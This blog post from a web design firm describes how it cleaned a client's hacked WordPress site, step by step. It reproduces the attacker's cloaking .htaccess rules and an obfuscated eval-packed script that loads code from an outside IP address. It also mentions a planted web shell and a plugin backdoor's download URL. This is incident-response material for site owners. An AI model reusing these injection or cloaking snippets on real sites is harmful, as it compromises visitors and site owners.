Web Dandy Web Design Articles
Web Dandy Web Design Articles

WordPress Maintenance Is Important

by Web Dandy on December 14, 2017

Leaving Your Site Open To Attack

In a previous article we discussed the importance of WordPress security and maintaining your site (WordPress core and plugins) to prevent your site being hacked. We also looked at how to clean up a WordPress site that had been compromised by malicious code.

In this article we take a look at a hacked site, what we found and how it was resolved.

Some Stats

It's clear that many site owners forget to properly maintain their sites, leaving them open to attacks.

Research in the 1Q of 2016 by Sucuri identified that out of 11,000+ infected websites, 75% were using the WordPress platform, and over 50% of those installations were out of date.

How Do I Know If My Site Has Been Hacked?

Many people assume it's easy to know when their site has been hacked. However there are times when a hack is hidden e.g. files and folders containing malicious code are uploaded and may go completely unnoticed until your site is flagged by Google as "This site may be hacked".

In March 2012, ZDNet reported:

"Over 90% [of website owners] didn't notice any strange activity, despite the fact that their sites were being abused to send spam, host phishing pages, or distribute malware and 63% of website owners don't know how they were hacked".

In other cases a hacked site maybe very noticable. Some common signs include:

  • Your website redirects to another web URL (immediately or after a short length of time).
  • Popups display that you didn't implement.
  • Code appears in the head section, content, side bars or footer of your site.
  • Links to other sites appear.
  • Security or other plugins are deactivated.
  • New users are added that you don't recognise.

A Hacked WordPress Site

One of our clients had failed to maintain their WordPress site. The WordPress core and a number of plugins were out of date.

The first problem was noted when visitors trying to get to the site found that when they searched via Google the link to the site loaded a blank page, yet typing the site URL into the address bar brought the site up with no problems.

It was found that Google was unable to index the site because the .htaccess file had been changed (the site pages would load but an empty page was displayed).

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|aol|bing|crawl|aspseek |icio|robot|spider|nutch|slurp|msnbot) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (html|htm|php)$ [NC]
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond %{DOCUMENT_ROOT}/common.php -f
RewriteRule ^.*$ /common.php [L]
<IfModule>
<IfModule rewrite_module>
RewriteEngine on
RewriteBase /
RewriteCond %{HTTPS} !^on$ [NC]
RewriteCond %{HTTP:X-Forwarded-Proto} !^https$ [NC]
RewriteRule .* https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]
<IfModule>

Once the above code in the .htaccess file had been removed and the correct Begin Force SSL code had been added the sitemap was reloaded in Google Webmaster Tools and Google was able to index the site. This resolved the link issue.

Next we noticed that the home page (https) was loading in Firefox with a message saying that there were parts of the page that could not be loaded (and had been blocked) as they were not secure. Further investigation in Google Chrome Console highlighted that the home page was trying to load mixed content:

"The page at 'https://www.siteURL.com/' was loaded over HTTPS, but requested an insecure script 'http://5.45.67.97/1/jquery.js.php?r=&u=Mozilla/5.0%20(Windows%20NT%206.1;%20 Win64; %20x64) %20AppleWebKit/537.36%20 (KHTML,%20like%20Gecko) %20Chrome/62.0.3202. 94%20 Safari/537.36'. This request has been blocked; the content must be served over HTTPS."

Malicious Code

Malicious code had been loaded into the <head> section and into the posts, pages and nav menu items throughout the site. An example:

<noindex><script id="wpinfo-aj5" type="text/javascript" rel="nofollow">
eval(function (p,a,c,k,e,d){e=function(c){return c.toString(36)};
if (!''.replace(/^/,String)){while(c--){d [c.toString(a)]=k[c]||c.toString(a) }k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};
while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}} return p}('0.6(">a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>"); n m="q";
',30,30,'document| |javascript|encodeURI|src| |write|http |45|67|script |text|rel| nofollow |type|97|language|jquery| userAgent|navigator|sc |ript |afd123dfa|var| u0026u|referrer|fnaik| |js|php'.split('|'),0,{}))
</script></noindex>
<noindex><script id="wpinfo-aj6" type="text/javascript" rel= "nofollow">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};
if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};
while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(">a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>"); n m="q";
',30,30,'document||javascript| encodeURI|src| |write|http|45|67|script |text|rel|nofollow|type|97|language |jquery|userAgent|navigator|sc|ript |afd123dfa |var|u0026u|referrer|fnaik| |js|php'.split('|'),0,{}))
</script></noindex>
<script id="wpinfo-aj1" src="/wp-includes/images/w-log1-blue.png">
</script>

The script above refers to an image: /wp-includes/images/w-log1-blue.png which in turn loads two other images which contain malicious code:

  • /wp-includes/images/rcc.png
  • /wp-includes/images/w1-log1-blue.png

Further malicious files were identified by WordFence scan. More details on those files and the steps taken to clean the site are detailed below.

Steps Taken To Clean the Site

Step #1 - WordPress Core Files and Plugins

We reviewed the plugins used on the site and deleted any that were not being used. The WordPress core and all of the plugins were then updated to the latest versions.

Step #2 - User Accounts

All non-essential user accounts were deleted and the passwords changed on the remaining accounts.

Step #3 - Site Keys

The authentication unique keys and salts were replaced within the wp-config.php file.

Step #4 - Database Password

The database password was changed and the wp-config.php file was updated. It's also a good idea to move the wp-config.php up a level (WordPress will still find the file).

Step #5 - Security Plugin

The WordFence security plugin was installed and the site was scanned to identify any malicious files.

Malicious Files

In this case WordFence found more than 15,000 malicious files (the vast majority of which were in wp-includes/js in a folder called jcrop with a file structure of /html/1/, /html/2/, /html/3/, /html/4/, /html/5/ etc.). Other files were found in wp-content and the plugin folders, including a "web-shell for WP — 2.5 Suid" in a wp-content/themes/14/ folder.

WordFence normally allows you to view the current file, compare with files in the WordPress repository (and highlights differences), replace the file with the original file (where one is available), delete the file or ignore it or click to say the issue has been resolved.

Malicious file

If you run WordFence in "High Sensitivity" mode, it errs on the side of caution and can highlight files as being malicious which are not e.g. in the case below a file from BackupBuddy which is part of the plugin's standard build is flagged. The easiest way to differentiate malicious vs. false positive files is to compare the highlighted file to a clean copy of the file or plugin.

False positive file

Going through each and every file WordFence highlights can be a laborious task but it's important. In some cases you can speed up the process when you identify folders and files that are clearly not part of the core builds and which contain code which is obviously not part of your site.

Identified malicious files were removed and another scan was run. You can also use Quttera.com to check if you've identified and removed all malicious files. We found Quttera to be more accurate than Sucuri.

Quttera scan result

At each stage it's important to ensure that you take a backup of your site and any files you are deleting in the event that you have to restore a folder or file that when deleted breaks your site. It's also worthwhile documenting any files that you find.

Note: In one instance we discovered that one file had been updated to include a link to a second malicious file (require_once dirname(__FILE__) . '/config.php';) so on deletion of the config.php file the site went down. In this case we instructed WordFence to restore the file to the version in the WordPress repository (without the line require_once dirname(__FILE__) . '/config.php';), which then allowed us to delete the config.php file.

Once you have cleaned/deleted (or ignored if you think it's a false positive) all the files that are highlighted by WordFence run another scan and schedule future scans (pro version only) or accept the default scanning schedule which is normally every 72 hours.

Step #6 - Delete Malicious Code in Posts/Pages

Injected code was deleted from all pages, posts, comments etc. via the WordPress admin area.

Revision pages (versions of pages or posts saved by WordPress as you write them) were deleted using the plugin WP Optimize as they often contain injected code too.

Step #7 - Delete Malicious Code in Database

The website's database was searched for any malicious code and common malicious PHP functions, such as base64, base64_decode, eval(), gzinflate, preg_replace, str_replace etc.

Nav_menu_items were also checked and cleaned.

Step #8 - Final Scan and Alerts

Once we were sure we'd deleted all instances of malicious code a final scan was run to confirm the site was clean.

Quttera clean scan result

WordFence was setup to alert us each time a user logged in and if the WordFence plugin was deactivated. IP and hostnames were added to the WordFence firewall, identified when the site was hacked.

Step #9 - Request a Review

Fortunately our client's site was not blacklisted in any of the search engines. However if your site is blacklisted you should check your site's status and where necessary request a review/reinclusion from:

Step #10 - Backup and Monitor

Finally a backup was made and the site is being monitored. We will also be taking on the maintenance of the site for the client to ensure WordPress core and plugins will be kept up to date and any plugins removed from the WordPress repository will be deleted from our client's site!

Addendum

#1 On the 18 December, 2017 WordFence published a notice that an aggressive WordPress brute force attack was taking place. The attack campaign was so severe that Worfence had to scale up their logging infrastructure to cope with the volume of attacks. This is the highest volume attack that Worfence have seen since 2012. They reported:

  • The attack has so far peaked at 14.1 million attacks per hour.
  • The total number of IPs involved at this time is over 10,000.
  • We are seeing up to 190,000 WordPress sites targeted per hour.
  • This is the most aggressive campaign we have ever seen by hourly attack volume.

#2 On the 19 December, 2017 an alert was posted regarding the plugin SI Captcha Anti Spam which was found to have a backdoor (a backdoor file allows an attacker to gain unauthorised administrative access to your website), put in place by the new author who had taken over the plugin.

  • The backdoor triggers an automatic update process that downloads a ZIP file from https://simplywordpress[dot]net/captcha/captcha_pro_update.php
  • It then extracts and installs itself over the copy of the SI Captcha Anti Spam plugin running on the site.
  • The backdoor creates a session with user ID 1 (the default admin user that WordPress creates when you first install it), sets authentication cookies, and then deletes itself.

The plugin has been removed from the WordPress repository.

Removed plugin

We would recommend uninstalling and deleting the SI Captcha Anti Spam plugin immediately from your site.

#3 On the 27 December, 2017 a further notice was published that three plugins had been removed from the WordPress.org repository because they contained content-injection backdoors. These plugins are: Duplicate Page and Post, No Follow All External Links and WP No External Links. Each of them had been purchased in the previous six months as part of the same supply chain attack, with the goal of injecting SEO spam into the sites running the plugins.

We would recommend uninstalling and deleting these three plugins immediately from your site.

#4 On the January 3, 2018 WordFence wrote about an emerging threat regarding a number of supply chain attacks targeting WordPress plugins. They went onto say "Attackers will also very likely employ new and creative tactics that we can't foresee in the new year. As a site owner, you will need to apply extra scrutiny to every plugin and theme you add to your website while keeping your eyes open for anything odd that crops up to stay vigilant against any such potential attacks in the future."